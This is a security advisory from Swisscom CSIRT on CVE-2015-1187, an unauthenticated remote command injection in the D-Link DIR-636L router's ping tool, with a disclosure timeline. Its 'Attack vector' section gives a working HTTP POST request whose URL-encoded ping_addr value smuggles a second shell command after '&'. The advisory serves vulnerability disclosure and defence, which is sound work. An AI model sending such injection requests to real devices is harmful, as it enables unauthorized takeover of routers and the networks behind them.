D-Link DIR636L Remote Command Injection

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#  
# SWISSCOM CSIRT SECURITY ADVISORY - http://www.swisscom.com/security  
#  
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#  
# CVE ID: CVE-2015-1187  
# Product: D-Link DIR636L  
# Vendor: D-Link  
# Subject: Remote Command Injection - Incorrect Authentication  
# Effect: Remotely exploitable  
# Author: Tiago Caetano Henriques, tiago.caetanohenriques AT swisscom.com  
# Stephan Rickauer, Swisscom CSIRT (csirt AT wisscom.com)  
# Date: March 2nd 2015  
#  
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Introduction  
------------  
Tiago Caetano Henriques discovered a security flaw in D-link DIR-636L router  
that enables an attacker on the same network to execute arbitrary commands  
without being authenticated.  
  
  
Vulnerable  
----------  
D-Link DIR-636L and possibly other versions as seen on [1].  
  
  
Patches  
-------  
None existant at the moment.  
  
  
Description  
-----------  
The D-Link DIR636L (possibly others) incorrectly filters input on the 'ping'  
tool which allows to inject arbitrary commands into the router. Secondly,  
authentication is not being performed correctly. This enables a remote  
attacker to gain full control of the router, for example to attack other  
networks in a DDoS style attack, or even expose computers behind these devices  
to the internet as you are able to change firewall/nat rules on this router.  
  
  
Attack vector  
-------------  
A URL encoded POST request with the values in front of ping_addr= such as the  
following, will go through and will execute the command in front of &.  
POST /ping.ccp HTTP/1.1  
Host: 192.168.0.1  
...  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.0.1/tools_vct.asp  
Content-Length: 64  
Cookie:  
  
ccp_act=ping_v4&ping_addr=%31%39%32%2e%31%36%38%2e%30%2e%31%30%37%20%26%20%2f  
%62%69%6e%2f%70%69%6e%67%20%39%34%2e%32%33%2e%37%38%2e%32%33%31  
  
  
Milestones  
----------  
Nov 30th 2014 Vulnerability discovered by Tiago Caetano Henriques  
Dec 18th 2014 Vulnerability reported to Swisscom CSIRT  
Jan 7th 2015 CVE ID requested at MITRE  
Jan 18th 2015 CVE ID 2015-1187 assigned by MITRE  
Feb 2th 2015 Vendor contact established and provided with technical details  
Feb 16th 2015 Vendor acknowledged issue and communicates time line for patches  
Feb 26th 2015 Full Disclosure by Peter Adkins  
Mar 2nd 2015 Forced Public Release of this Advisory due to the previous  
Full Disclosure at [1]  
  
References  
----------  
[1] https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2  
  
  
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